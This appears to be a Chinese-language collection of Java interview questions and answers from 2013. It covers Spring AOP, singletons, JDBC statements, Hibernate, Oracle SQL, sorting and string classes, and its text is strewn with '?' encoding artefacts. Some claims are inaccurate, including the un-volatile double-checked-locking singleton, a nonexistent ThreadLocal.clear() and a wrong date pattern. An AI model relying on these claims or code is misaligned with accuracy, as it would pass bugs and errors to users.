AspectJ是動態代理的一種實現,而Spring默認使用的就是AspectJ來實現的動態代理,Spring自己的AOP就是使用AspectJ來實現的 ?
?
AOP:Aspect Oriented Programming(面向切面編程) ?
利用動態代理實現面向切面編程 ?
Spring實現動態代理配置是有兩種配置文件: ?
XML文件方式 ?
Annotation方式,使用AspectJ類庫實現的 ?
AspectJ類庫,AspectJ是一個專門用來實現動態代理(AOP編程)的類庫,AspectJ是面向切面編程的框架,Spring使用就是這個類庫實現動態代理的 ?
AspectJ的專業術語: ?
JoinPoint連接點(切入點) ?
PointCut切入點,當需要定義一個切入點時,則需要使用這個 ?
Aspect切面 ?
Advice切入點的邏輯 ?
Target被代理對象 ?
Weave織入 ?
?
問題2:單例模式 ?
??
單例模式是設計模式中最簡單的形式之一 ?
這一模式的目的是使得類的一個對象成為系統中的唯一實例,要實現這一點,可以從客戶端對其進行實例化開始 ?
因此需要用一種只允許生成對象類的唯一實例的機制,“阻止”所有想要生成對象的訪問。 ?
使用工廠方法來限制實例化過程,這個方法應該是靜態方法(類方法),因為讓類的實例去生成另一個唯一實例毫無意義 ?
??
// 第一種形式: 也是常用的形式。 ?
public class Singleton { ?
? ? private static Singleton instance = null; ?
??
? ? private Singleton() { ?
? ? ? ? // do something ?
? ? } ?
??
? ? public static Singleton getInstance() { ?
? ? ? ? if (instance == null) { ?
? ? ? ? ? ? instance = new Singleton(); ?
? ? ? ? } ?
? ? ? ? return instance; ?
? ? } ?
} ?
??
// 第二種形式: ?
public class Singleton { ?
? ? // 在自己內部定義自己的一個實例,只供內部調用 ?
? ? private static Singleton instance = new Singleton(); ?
??
? ? private Singleton() { ?
? ? ? ? // do something ?
? ? } ?
??
? ? // 這里提供了一個供外部訪問本class的靜態方法,可以直接訪問 ?
? ? public static Singleton getInstance() { ?
? ? ? ? return instance; ?
? ? } ?
} ?
??
// 第三種形式: 雙重鎖的形式。 ?
public class Singleton { ?
? ? private static Singleton instance = null; ?
??
? ? private Singleton() { ?
? ? ? ? // do something ?
? ? } ?
??
? ? public static Singleton getInstance() { ?
? ? ? ? if (instance == null) { ?
? ? ? ? ? ? synchronized (Singleton.class) { ?
? ? ? ? ? ? ? ? if (null == instance) { ?
? ? ? ? ? ? ? ? ? ? instance = new Singleton(); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? ? ? return instance; ?
? ? } ?
}// 這個模式將同步內容下方到if內部,提高了執行的效率,不必每次獲取對象時都進行同步,只有第一次才同步,創建了以后就沒必要了。 ?
??
問題3:PrepareStatement和Statement的區別? ?
??
Statement用于執行靜態SQL語句,在執行時,必須指定一個事先準備好的SQL語句,也就是說SQL語句是靜態的 ?
PrepareStatement是預編譯的SQL語句對象,SQL語句被預編譯并保存在對象中。被封裝的SQL語句代表某一類操作,語句中可以包含動態參數“?”,在執行時可以為“?”動態設置參數值 ?
使用PrepareStatement對象執行SQL時,SQL被數據庫進行解析和編譯,然后被放到命令緩沖區,每當執行同一個PrepareStatement對象時,它就會被解析一次,但不會被再次編譯。在緩沖區可以發現預編譯的命令,并且可以重用。所以PrepareStatement可以減少編譯次數提高數據庫性能 ?
??
1、創建時的區別: ?
? ?Statement stm=con.createStatement(); ??
? ?PreparedStatement pstm=con.prepareStatement(SQL); ??
執行的時候: ?
? ? stm.execute(SQL); ??
? ? pstm.execute(); ??
2、pstm一旦綁定了SQL,此pstm就不能執行其他的SQL,即只能執行一條SQL命令 ?
stm可以執行多條SQL命令 ?
3、 對于執行同構的SQL(只有值不同,其他結構都相同),用pstm的執行效率比較高,對于異構的SQL語句,Statement的執行效率要高 ??
4、當需要外部變量的時候,pstm的執行效率更高 ?
??
問題4:團隊項目開發中,功能模塊完成后如何和組員集成(整合)測試? ?
??
先進行單元測試,單元測試無誤后再進行集成測試 ?
??
例子:Junit+Ant ?
??
這個是屬于軟件測試的范疇,由測試人員做的,分為功能測試與性能測試 ?
??
2013年8月14日:21CN世紀龍信息、凱通軟件 ?
??
問題1:解釋一下什么是哈希表? ?
??
散列表(Hash table,也叫哈希表),是根據關鍵碼值(Key value)而直接進行訪問的數據結構 ?
也就是說,它通過把關鍵碼值映射到表中一個位置來訪問記錄,以加快查找的速度 ?
這個映射函數叫做散列函數,存放記錄的數組叫做散列表 ?
??
問題2:線程的生命周期 ?
??
新建就緒(阻塞)運行死亡 ?
??
新建:其中當用new創建完一個線程對象后,該線程處于新建狀態 ?
就緒:當線程對象調用start()后,該線程處于就緒狀態 ?
運行:如果處于就緒狀態的線程獲得CPU時間片,開始執行run方法的線程執行體,該線程處于運行狀態 ?
阻塞:如果線程調用了sleep()或者調用了一個阻塞式IO方法等,該線程處于阻塞狀態 ?
死亡:如果線程的run()執行完成或者拋出一個未捕獲的異常等原因,該線程處于死亡狀態 ?
??
問題3:JSP頁面如何實現自定義標簽? ?
??
首先新建繼承了SimpleTagSupport類的自定標簽類,重寫doTag方法 ?
然后新建tld文件,定義標簽的屬性及格式 ?
JSP頁面引入標簽 ?
注意要放置在WEB-INF目錄下才可以解析 ?
自定義標簽采用<myTag:checkURL startURL="網址" goURL="網址" ></myTag:checkURL>格式 ?
??
問題4:JSP頁面如何實現自定義函數? ?
??
首先新建自定函數類,定義public static boolean方法 ?
然后新建tld文件,定義標簽的屬性及格式 ?
JSP頁面引入標簽 ?
注意要放置在WEB-INF目錄下才可以解析 ?
自定義函數采用${myfn:contains(字符串,字符串)}格式 ?
??
問題5:你所了解的Apache的commons項目所包含的工具? ?
??
BeanUtils:提供了對于JavaBean進行各種操作,克隆對象、屬性等等 ?
Betwixt:XML與Java對象之間相互轉換 ?
Codec:處理常用的編碼方法的工具類包 例如DES、SHA1、MD5、Base64等 ?
Collections:Java集合框架操作 ?
Compress:Java提供文件打包 壓縮類庫 ?
Configuration:一個Java應用程序的配置管理類庫 ?
DBCP:提供數據庫連接池服務 ?
DbUtils:提供對JDBC的操作封裝來簡化數據查詢和記錄讀取操作 ?
Email:Java發送郵件對JavaMail的封裝 ?
FileUpload:提供文件上傳功能 ?
HttpClient:提供HTTP客戶端與服務器的各種通訊操作. 現在已改成HttpComponents ?
IO:IO工具的封裝 ?
Lang:Java基本對象方法的工具類包,如:StringUtils,ArrayUtils等等 ?
Logging:提供的是一個Java 的日志接口 ?
Validator:提供了客戶端和服務器端的數據驗證框架 ?
??
問題6、如何對SQL語句進行優化? ?
??
盡可能合理運用索引 ?
少用“*”,比如select * from tableName,只查詢自己需要的數據 ?
使用LIKE ‘%關鍵字%’模糊查詢時,由于關鍵字前面用了“%”符號,因此該查詢必定會進行全表查詢,盡量不要在關鍵字前加“%”符號 ?
盡可能減少子查詢的層數 ?
盡可能在子查詢中進行數據篩選 ?
盡量使用數字型字段,一部分開發人員和數據庫管理人員喜歡把包含數值信息的字段設計為字符型,這會降低查詢和連接的性能,并會增加存儲開銷。這是因為引擎在處理查詢和連接會逐個比較字符串中每一個字符,而對于數字型而言只需要比較一次就夠了。 ?
??
2013年8月15日: ?
??
問題1、你所了解的測試技術,并說一下你覺得測試與開發之間的關系 ?
??
1、按是否查看程序內部結構分為: ?
黑盒測試:只關心輸入和輸出的結果 ?
白盒測試:去研究里面的源代碼和程序結構 ?
??
2、按是否運行程序分為: ?
靜態測試:是指不實際運行被測軟件,而只是靜態地檢查程序代碼、界面或文檔可能 ?
動態測試:是指實際運行被測程序,輸入相應的測試數據,檢查輸出結果和預期結果是否相符的過程 ?
??
3、按階段劃分: ?
單元測試:是指對軟件中的最小可測試單元進行檢查和驗證 ?
集成測試:是單元測試的下一階段,是指將通過測試的單元模塊組裝成系統或子系統,再進行測試,重點測試不同模塊的接口部門。集成測試就是用來檢查各個單元模塊結合到一起能否協同配合,正常運行 ?
系統測試:指的是將整個軟件系統看做一個整體進行測試,包括對功能、性能,以及軟件所運行的軟硬件環境進行測試。系統測試的主要依據是《系統需求規格說明書》文檔 ?
驗收測試:指的是在系統測試的后期,以用戶測試為主,或有測試人員等質量保障人員共同參與的測試,它也是軟件正式交給用戶使用的最后一道工序。驗收測試又分為a測試和beta測試,其中a測試指的是由用戶、 測試人員、開發人員等共同參與的內部測試,而beta測試指的是內測后的公測,即完全交給最終用戶測試 ?
??
軟件開發是生產制造軟件;軟件測試是驗證開發出來軟件的質量 ?
類比傳統加工制造企業,軟件開發人員就是生產加工的工人,軟件測試人員就是質檢人員 ?
?
開發與測試的關系應該是: ?
沒有軟件開發就沒有測試,軟件開發提供軟件測試的對象 ?
軟件開發和軟件測試都是軟件生命周期中的重要組成部分 ?
軟件開發和軟件測試都是軟件過程中的重要活動 ?
軟件測試是保證軟件開發產物質量的重要手段 ?
??
問題2、Oracle里varchar2的最大長度? ?
??
字段類型:Oracle SQL varchar2的最大支持長度為4000個字節(bytes) ?
變量類型:Oracle PLSQL varchar2最大支持長度為32767個字節(緩沖區) ?
??
問題3、如何判斷Session過期? ?
??
request.getSession(boolean)這個方法里面傳了一個boolean值,這個值如果是true,那么如果當前的Request的Session不可用,那么就創建新的會話,如果存在就返回當前的會話。如果參數是false,那么在Request的當前會話不存在的時候就返回null ?
?
if(request.getSession(false)==null){ ?
System.out.println("Session has been invalidated!"); ?
} ?
else{ ?
System.out.println("Session is active!"); ?
} ?
??
問題4、Oracle的行列轉換? ?
??
姓名 科目 分數 ?
--- --- ---- ?
太上 語文 80 ?
太上 數學 70 ?
太上 英語 60 ?
喚魔 語文 90 ?
喚魔 數學 80 ?
喚魔 英語 100 ?
轉換為: ?
姓名 語文 數學 英語 ?
太上 ?80 ?70 ?60 ?
喚魔 ?90 ?80 ?100 ?
??
使用Oracle的Decode函數,如果“科目”是“語文”,返回對應科目的分數的綜合,0是缺省值 ?
??
語句如下: ?
select 姓名, ??
sum(decode(科目,'語文', 分數,0)) "語文", ?
sum(decode(科目,'數學', 分數,0)) "數學", ?
sum(decode(科目,'英語', 分數,0)) "英語" ?
from table ?
group by 姓名; ?
??
2013年8月16日: ?
??
問題1:Hibernate框架下如何實現分頁? ?
??
Hibernate有自帶分頁功能 ?
Query.setFirstResult() ?//從哪一條條記錄開始 ?
Query.setMaxResults() ? //希望獲得的記錄數 ??
??
問題2:AJAX的優缺點? ?
??
優點: ?
局部刷新頁面,減少用戶心理和實際的等待時間,帶來更好的用戶體驗 ?
使用異步方式與服務器通信,不需要打斷用戶的操作,具有更加迅速的響應能力 ?
減輕服務器的負擔,按需取數據,最大程度的減少冗余請求 ?
基于XML標準化,并被廣泛支持,不需安裝插件等 ?
??
缺點: ?
AJAX大量的使用了JavaScript和AJAX引擎,這些取決于瀏覽器的支持。在編寫的時候考慮對瀏覽器的兼容性IE5.0及以上、Mozilla1.0、NetScape7及以上版本才支持,Mozilla雖然也支持AJAX,但是提供XMLHttpRequest的方式不一樣 ?
AJAX更新頁面內容的時候并沒有刷新整個頁面,因此,網頁的后退功能是失效的;有的用戶還經常搞不清楚現在的數據是舊的還是已經更新過的這個就需要在明顯位置提醒用戶“數據已更新” ?
對流媒體還有移動設備的支持不太好等,比如手機還有平板電腦 ?
??
問題3、Hibernate里配置生成主鍵的方式有哪些? ?
??
Increment: ?
由Hibernate從數據庫中取出主鍵的最大值(每個Session只取1次),以該值為基礎,每次增量為1,在內存中生成主鍵,不依賴于底層的數據庫,因此可以跨數據庫 ?
特點:跨數據庫,不適合多進程并發更新數據庫,適合單一進程訪問數據庫,不能用于集群環境 ?
Hilo: ?
hilo(高低位方式high low)是Hibernate中最常用的一種生成方式,需要一張額外的表保存hi的值。保存hi值的表至少有一條記錄(只與第一條記錄有關),否則會出現錯誤。可以跨數據庫 ?
特點:跨數據庫,hilo算法生成的標志只能在一個數據庫中保證唯一 ?
Sehilo: ?
與hilo類似,通過hi/lo算法實現的主鍵生成機制,只是將hilo中的數據表換成了序列Sequence,需要數據庫中先創建Sequence,適用于支持Sequence的數據庫,如Oracle ?
特點:與hilo類似,只能在支持序列的數據庫中使用 ?
Identity: ?
identity由底層數據庫生成標識符。identity是由數據庫自己生成的,但這個主鍵必須設置為自增長,使用identity的前提條件是底層數據庫支持自動增長字段類型,如DB2、SQL Server、MySQL、Sybase和HypersonicSQL等,Oracle這類沒有自增字段的則不支持 ?
特點:只能用在支持自動增長的字段數據庫中使用,如MySQL ?
Sequence: ?
采用數據庫提供的Sequence機制生成主鍵,需要數據庫支持Sequence。如ORACLE、DB、SAP DB、PostgerSQL、McKoi中的SequenceMySQL這種不支持Sequence的數據庫則不行(可以使用identity) ?
特點:只能在支持序列的數據庫中使用,如Oracle ?
Native: ?
native由Hibernate根據使用的數據庫自行判斷采用identity、hilo、Sequence其中一種作為主鍵生成方式,靈活性很強如果能支持identity則使用identity,如果支持Sequence則使用Sequence ?
特點:根據數據庫自動選擇,項目中如果用到多個數據庫時,可以使用這種方式,使用時需要設置表的自增字段或建立序列,建立表等 ?
Uuid: ?
UUID:Universally Unique Identifier,是指在一臺機器上生成的數字,它保證對在同一時空中的所有機器都是唯一的。按照開放軟件基金會(OSF)制定的標準計算,用到了以太網卡地址、納秒級時間、芯片ID碼和許多可能的數字 ?
特點:uuid長度大,占用空間大,跨數據庫,不用訪問數據庫就生成主鍵值,所以效率高且能保證唯一性,移植非常方便,推薦使用 ?
Assigned: ?
主鍵由外部程序負責生成,在 save() 之前必須指定一個Hibernate不負責維護主鍵生成,與Hibernate和底層數據庫都無關,可以跨數據庫。在存儲對象前,必須要使用主鍵的setter方法給主鍵賦值,至于這個值怎么生成,完全由自己決定,這種方法應該盡量避免 ?
特點:可以跨數據庫,人為控制主鍵生成,應盡量避免 ?
Composite-id:復合主鍵,聯合主鍵 ?
??
2013年8月17日: ?
??
問題1、Oracle是否支持Auto_Increment?如不支持如何實現類似功能? ?
??
建立一個Sequence序列: ?
CREATE SEQUENCE Sequence_Name ?
INCREMENT BY 1 ? ?每次加1個 ? ?
START WITH 1 ? ? ?從1開始計數 ? ?
NOMAXVALUE ? ? ? ?不設置最大值 ? ?
NOCYCLE ; ? ? ? ? 一直累加,不循環 ?
??
建立一個TRIGGER觸發器: ?
CREATE OR REPLACE TRIGGER Trigger_Name ??
BEFORE ??
INSERT ??
ON Table_Name referencing NEW as NEW FOR EACH ROW ? 行級觸發,即每行都觸發 ?
DECLARE ??
begin ?
select Sequence_Name.nextval into:New.increment_column from dual; ?
end; ?
/ ?
??
問題2、建模使用什么工具? ?
??
Rational Rose、Power Designer、StarUML、Enterprise Architect [?ɑ:kitekt] ?
??
問題3、Svn主要作用?Svn的服務如何配置? ?
??
主要作用:版本控制管理和代碼服務器,主要用于團隊開發時對項目代碼的管理 ?
??
服務配置: ?
創建版本庫svnadmin create 版本庫路徑 ?
建議注冊到services.msc服務中 ?
命令:sc create/delete svn binPath= “盤符:\subversion\bin\svnserve.exe –service –r 倉庫目錄” DisplayName= “邏輯名” ?
binPath的值之前一定要加空格 ?
??
2013年8月19日:凱通軟件 ?
??
問題1、Java基礎數據類型有哪些?最大長度分別是多少位?多少字節? ?
??
整數類型: ?
Byte 8位 1字節 范圍:-128 ~ 127范圍:-27 ?~ 27-1 ?
Short 16位 2字節 范圍:-32768 ~ 32767 范圍:-215 ~ 215-1 ?
Int 32位4字節 范圍:-2,147,483,648 ~ 2,147,483,647 范圍:-231 ?~ 231-1 ?
Long 64位8字節 范圍:-9,223,372,036,854,775,808~+9,223,372,036,854,775,807 范圍:-263 ?~ 263 -1 ??
??
浮點數型: ?
Float 32位4字節 范圍:-3,40292347E+38 ~ +3,40292347E+38范圍: ?
Double 64位8字節 范圍:-1.79769313486231576E+308 ~ 1.79769313486231576E+308范圍: ?
??
其他類型: ?
Char 16位2字節(默認Unicode編碼) 范圍:‘\u0000′ ~ ‘\uFFFF’ 范圍: ?
Boolean 1位0.125字節(8分之1字節) 范圍:true/false ?
??
??
注意: ?
Int最常用(20億左右),long可以用在統計世界人口,byte,short用在特殊場合(如果知道存儲在變量中的整數在一個字節范圍內,就應該將變量聲明為byte) ?
Double和Float,一般都使用double,double類型,因為double類型比float更精確。需要存儲大量數據才考慮單精度一般使用(float可以節約內存) ?
??
問題2、String有哪些方法? ?
??
trim() 去掉起始和結尾的空格 ?
charAt (int index) ?返回index所指定的字符 ?
concat(String str) ?將兩字符串連接 ?
equals() ?比較兩個字符串 ?
length() ?返回字符串的長度 ?
replace(char old ,char new) ?將old用new替代 ?
valueOf() ?轉換為字符串 ?
substring(int1,int2) ?取出字符串內第int1位置到int2的字符串 ?
??
indexOf() 查找字符或者子串第一次出現的地方,lastIndexOf() 查找字符或者子串是后一次出現的地方 ?
startsWith(String str) ?測試字符串是否以str開始,endsWith(String str) ?測試字符串是否以str結尾 ?
getBytes ?將字符串轉換成字節數組返回,toCharArray ?將字符串轉換成字符數組 ?
toLowerCase() ?將字符串內的字符改寫成小寫,toUpperCase() ?將字符串內的字符改寫成大寫 ?
??
問題3、冒泡排序的代碼? ?
??
基本思想: ?
在要排序的一組數中,對當前還未排好序的范圍內的全部數,自上而下對相鄰的兩個數依次進行比較和調整,讓較大的數往下沉,較小的往上冒。即:每當兩相鄰的數比較后發現它們的排序與排序要求相反時,就將它們互換。 ?
??
實例: ?
??
??
冒泡排序(bubble sort):冒泡排序,每次兩個相鄰的值進行比較,內層循環結束,最后出現最大值。 ?
??
/* ?
? ? 冒泡排序,每次兩個相鄰的值進行比較,內層循環結束,最后出現最大值。 ?
? ? 內層循環 arr.length-1 避免角標越界 ?
? ? ? ? ? ? ?arr.length-x 減少參與比較的數,因為這些數,已經是最大值,排在最后,沒有必要參與比較。 ?
? ? */ ?
? ? public static void bubbleSort(int[] arr){ ?
? ? ? ? for(int x=0;x<arr.length;x++){ ?
? ? ? ? ? ? for(int y=0;y<arr.length-1-x;y++){ ?
? ? ? ? ? ? ? ? if(arr[y]>arr[y+1]){ ?
? ? ? ? ? ? ? ? ? ? int temp =arr[y+1]; ?
? ? ? ? ? ? ? ? ? ? arr[y+1]=arr[y]; ?
? ? ? ? ? ? ? ? ? ? arr[y]=temp; ?
? ? ? ? ? ? ? ? }}}} ?
??
問題4、選擇排序的代碼? ?
??
基本思想: ?
在要排序的一組數中,選出最小的一個數與第一個位置的數交換;然后在剩下的數當中再找最小的與第二個位置的數交換,如此循環到倒數第二個數和最后一個數比較為止。 ?
??
實例: ?
??
??
/* ?
? ? 選擇排序。內循環結束 0角標位出現最小值。只要外層循環的值比內層循環值大,就互換位置。 ?
? ? 0角標位的元素,和0角標位以后的每個元素進行比較,只要比他們大就互換,位置,這樣可以保證0角標位置值最小。 ?
? ? 然后,再進行1角標位置和1角標后的每個元素進行比較。 ?
? ? 依次類推, ?
? ? ??
? ? */ ?
? ? public static void selectSort(int[] arr){ ?
? ? ? ? for(int x=0;x<arr.length-1;x++){ ?
? ? ? ? ? ? for(int y=x+1;y<arr.length;y++){ ?
? ? ? ? ? ? ? ? if(arr[x]>arr[y]){ ?
? ? ? ? ? ? ? ? ? ? int temp=arr[y]; ?
? ? ? ? ? ? ? ? ? ? arr[y]=arr[x]; ?
? ? ? ? ? ? ? ? ? ? arr[x]=temp; ?
? ? ? ? ? ? ? ? }}}} ?
??
問題5、inner join、left join、right join、full out join有什么區別? ?
??
left join是以A表的記錄為基礎的,A可以看成左表,B可以看成右表,left join是以左表為準的.。 ?
換句話說,左表(A)的記錄將會全部表示出來,而右表(B)只會顯示符合搜索條件的記錄(例子中為: A.aID = B.bID),B表記錄不足的地方均為NULL。 ?
范例代碼: ?
SELECT C.First_Name, C.Last_Name, O.Order_Id FORM Customer AS C LEFT JOIN Order AS O ON C.Customer_ID = O.Customer_ID ?
??
right join和left join的結果剛好相反,這次是以右表(B)為基礎的,A表不足的地方用NULL填充。 ?
inner join只顯示出了 A.aID = B.bID的記錄,這說明inner join并不以誰為基礎,它只顯示符合條件的記錄。 ?
??
Oracle中的使用: ?
連接分為兩種:內連接與外連接。 ?
??
A.內連接,即最常見的等值連接,例: ?
SELECT * ?
FROM TESTA,TESTB ?
WHERE TESTA.A=TESTB.A ?
等價于 ?
select * from testa inner join testb on testa.a=testb.a ?
? ?
B.外連接分為左外連接,右外連接和全外連接。 ?
1.左外連接 left outer join 或者 left join ?
左外連接就是在等值連接的基礎上加上主表中的未匹配數據,例: ?
SELECT * ?
FROM TESTA ?
LEFT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
---------------------其中主表是TESTA。 ?
Oracle 中等價于: (+)是outer join 的意思,能將匹配備件中有空值的記錄也顯示出來,如果沒有這個符號,則不會顯示條件中包含空值的結果。 ?
SELECT * ?
FROM TESTA,TESTB ?
WHERE TESTA.A=TESTB.A(+) ?
? ?
三個表做左外連接: ?
SELECT * ?
FROM TESTA ?
LEFT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
LEFT OUTER JOIN TESTC ?
ON TESTA.A=TESTC.A ?
Oracle 中等價于: ?
SELECT * ?
FROM TESTA,TESTB,TESTC ?
WHERE TESTA.A=TESTB.A(+) ?
AND TESTA.A=TESTC.A(+) ?
? ?
2. 右外連接 right outer join 或者 right join,是在等值連接的基礎上加上被連接表的不匹配數據。 ??
SELECT * ?
FROM TESTA ?
RIGHT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
----------------------其中被連接表是TESTB ?
Oracle支持的另一種寫法: ?
SELECT * ?
FROM TESTA,TESTB ?
WHERE TESTA.A(+)=TESTB.A ?
??
3.全外連接 full outer join 或者 full join,是在等值連接的基礎上將左表和右表的未匹配數據都加上。 ??
SELECT * ?
FROM TESTA ?
FULL OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
全外連接的等價寫法,對同一表先做左連接,然后右連接: ??
SELECT ?TESTA.*,TESTB.* ?
FROM TESTA ?
LEFT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
UNION ?
SELECT TESTA.*,TESTB.* ?
FROM TESTB ?
LEFT OUTER JOIN TESTA ?
ON TESTA.A=TESTB.A ?
??
2013年8月20日: ?
??
問題1、JS中有哪些數據類型? ?
??
Undefined、Null、Boolean、Number、String、Object、Array、Function。 ?
JavaScript有三種基本數據類型(字符串、數值、布爾 ),兩種引用數據類型(對象、數組)和兩種特殊數據類型(Null 、Undefined )。 ?
??
問題2、String 和StringBuffer的區別? ?
??
JAVA平臺提供了兩個類:String和StringBuffer,它們可以儲存和操作字符串,即包含多個字符的字符數據。 ?
String類表示內容不可改變的字符串。而StringBuffer類表示內容可以被修改的字符串。當你知道字符數據要改變的時候你就可以使用StringBuffer。 ?
典型地,你可以使用StringBuffers來動態構造字符數據。 ?
另外,String實現了equals方法,new String(“abc”).equals(new String(“abc”)的結果為true,而StringBuffer沒有實現equals方法,所以,new StringBuffer(“abc”).equals(new StringBuffer(“abc”)的結果為false。 ?
??
接著要舉一個具體的例子來說明,我們要把1到100的所有數字拼起來,組成一個串。 ?
StringBuffer sbf = new StringBuffer(); ? ?
? ? ? ? for(int i=0;i<100;i++) ?
? ? ? ? { ?
? ? ? ? ? ? sbf.append(i); ?
? ? ? ? } ?
上面的代碼效率很高,因為只創建了一個StringBuffer對象,而下面的代碼效率很低,因為創建了101個對象。 ?
String str = new String(); ? ?
? ? ? ? for(int i=0;i<100;i++) ?
? ? ? ? { ?
? ? ? ? ? ? str = str + i; ?
? ? ? ? } ?
在講兩者區別時,應把循環的次數搞成10000,然后用endTime-beginTime來比較兩者執行的時間差異,最后還要講講StringBuilder與StringBuffer的區別。 ?
String覆蓋了equals方法和hashCode方法,而StringBuffer沒有覆蓋equals方法和hashCode方法,所以,將StringBuffer對象存儲進Java集合類中時會出現問題。 ?
??
問題3、StringBuffer與StringBuilder的區別? ?
??
StringBuffer和StringBuilder類都表示內容可以被修改的字符串,StringBuilder是線程不安全的,運行效率高,如果一個字符串變量是在方法里面定義,這種情況只可能有一個線程訪問它,不存在不安全的因素了,則用StringBuilder。如果要在類里面定義成員變量,并且這個類的實例對象會在多線程環境下使用,那么最好用StringBuffer。 ?
?
String 不可變 每次對其操作都會在數據池產生一個新的對象,不適合使用在對字符串進行頻繁修改的場景 ?
StringBuffer和StringBuilder可變,對其修改不會產生新的對象 其兩者區別在于StringBuffer線程安全而StringBuilder線程不安全,StringBuilder是線程非安全的效率比StringBuffer高 ?
?
比喻: ?
String是一個商品 ?
StringBuffer/StringBuilder是生產這個商品的流水線, ?
StringBuffer速度慢,但(線程)安全性高 ?
StringBuilder速度快,但(線程)安全性差 ?
??
問題4、Threadlocal類的作用? ?
?
ThreadLocal的作用和目的:用于實現線程內的數據共享,即對于相同的程序代碼,多個模塊在同一個線程中運行時要共享一份數據,而在另一個線程中則共享另一份數據,線程的數據是獨享的。 ?
?
ThreadLocal的實現原理:每個線程調用全局ThreadLocal的set方法,就相當于往其內部的Map中增加一條記錄,key是各自的線程,value是各自的線程調用set放進的值。在線程結束時可以調用ThreadLocal.clear()方法,可以立即釋放內存。也可以不調用,線程運行完成之后內存也會被回收。 ?
?
顧名思義它是local variable(線程局部變量)。它的功用非常簡單,就是為每一個使用該變量的線程都提供一個變量值的副本,是每一個線程都可以獨立地改變自己的副本,而不會和其它線程的副本沖突。從線程的角度看,就好像每一個線程都完全擁有該變量。 ?
?
它主要由四個方法組成initialValue(),get(),set(T),remove(),其中值得注意的是initialValue(),該方法是一個protected的方法,顯然是為了子類重寫而特意實現的。該方法返回當前線程在該線程局部變量的初始值,這個方法是一個延遲調用方法,在一個線程第1次調用get()或者set(Object)時才執行,并且僅執行1次。ThreadLocal中的確實實現直接返回一個null。也是解決線程安全的問題的一種方法。 ?
??
問題5、Statement、Preparedstatement、Callablestatement的區別? ?
??
Statement ?
? ? ? | ?
PreparedStatement ?
? ? ? | ?
CallableStatement ?
??
? ? Statement用于執行一條普通的動態SQL語句,PreparedStatement用于執行預編譯好的SQL語句,CallableStatement用于調用數據庫的存儲過程。他們的繼承關系如上。 ?
??
Statement 每次執行sql語句,數據庫都要執行sql語句的編譯 ,最好用于僅執行一次查詢并返回結果的情形,效率高于PreparedStatement. ?
? ?
PreparedStatement是預編譯的,使用PreparedStatement有幾個好處 ?
在執行可變參數的一條SQL時,PreparedStatement比Statement的效率高,因為DBMS預編譯一條SQL當然會比多次編譯一條SQL的效率要高。 ?
安全性好,有效防止Sql注入等問題。 ?
對于多次重復執行的語句,使用PreparedStament效率會更高一點,并且在這種情況下也比較適合使用batch; ?
代碼的可讀性和可維護性。 ?
? ?
CallableStatement接口擴展 PreparedStatement,用來調用存儲過程,它提供了對輸出和輸入/輸出參數的支持。CallableStatement 接口還具有對 PreparedStatement 接口提供的輸入參數的支持。 ?
??
問題6、把一個字符串類型的日期 轉換成Date類型? ?
??
字符串轉換為日期: ?
String brithday = new String("1991-02-02"); ?
? ? ? ? SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy-MM-dd"); ?
? ? ? ? Date date = sdf1.parse(brithday); ?
? ? ? ? System.out.println("將字符串轉化為時間是" + date); ?
日期轉換為字符串: ?
? ? ? ? SimpleDateFormat sdf2 = new SimpleDateFormat("yyyyMMDDHHMMSSmmm "); ?
? ? ? ? System.out.println(sdf2.format(new Date())); ?
??
將輸入的字符串轉換為需要的日期格式: ?
? ? ? ? String myBirthday = new String("19881113"); ?
? ? ? ? SimpleDateFormat sdf3 = new SimpleDateFormat("yyyyMMdd"); ?
? ? ? ? Date date = sdf3.parse(myBirthday); ?
? ? ? ? String newBirthday = sdf2.format(date); ?
? ? ? ? System.out.println("將輸入的字符串轉換為需要的日期格式" + newBirthday); ?
??
問題7、Spring中加載XML配置文件的方法? ?
??
Spring中的幾種容器都支持使用xml裝配bean,包括: ?
XmlBeanFactory引用資源、ClassPathXmlApplicationContext編譯路徑 ?
FileSystemXmlApplicationContext用文件系統的路徑、XmlWebApplicationContext專為Web工程定制 ?
??
加載這些容器的配置文件的XML有以下幾種常見的方法: ?
1、引用資源用XmlBeanFactory(不能實現多個文件相互引用) ?
? ? ?Resource resource = new ClassPathResource("appcontext.xml"); ?
? ? ?BeanFactory factory = new XmlBeanFactory(resource); ?
? ? ?從factory中獲取相應資源文件中的bean,但是這種bean讀不到引用了其他文件中的bean! ?
2、引用應用上下文用ClassPathXmlApplicationContext ?
? ? ApplicationContext factory = new ClassPathXmlApplicationContext( ?
? ? ? ? ? ? ? ? "classpath:applicationContext.xml"); ?
? ? ApplicationContext factory = new ClassPathXmlApplicationContext( ?
? ? ? ? ? ? ? ? "conf/userConfig.xml"); // src/conf 目錄下的 ?
? ? ApplicationContext factory = new ClassPathXmlApplicationContext( ?
? ? ? ? ? ? ? ? "file:G:/Test/src/appcontext.xml"); ?
3、用文件系統的路徑引用應用上下文用FileSystemXmlApplicationContext ??
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "src/applicationContext.xml"); ?
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "classpath:appcontext.xml"); ?
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "file:G:/Test/src/appcontext.xml"); ?
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "G:/Test/src/appcontext.xml"); ?
注意:在2、3的加載方式中可以加載多個配置文件,獲取到ApplicationContext 對象中 ?
? ? String[] configs = { "applicationContext.xml", "user_spring.xml" }; ?
? ? ApplicationContext ctx = new ClassPathXmlApplicationContext(configs); ?
? ? // ApplicationContext ctx=new FileSystemXmlApplicationContext(configs); ?
? ? AbstractDao myUserDAO = (AbstractDao) ctx.getBean("userDao"); ?
4、Web工程定制的加載方法 XmlWebApplicationContext ? ?
?ServletContext servletContext = request.getSession() ?
? ? ? ? ? ? ? ? .getServletContext(); ?
ApplicationContext ctx = WebApplicationContextUtils ?
? ? ? ? ? ? ? ? .getWebApplicationContext(servletContext); ?
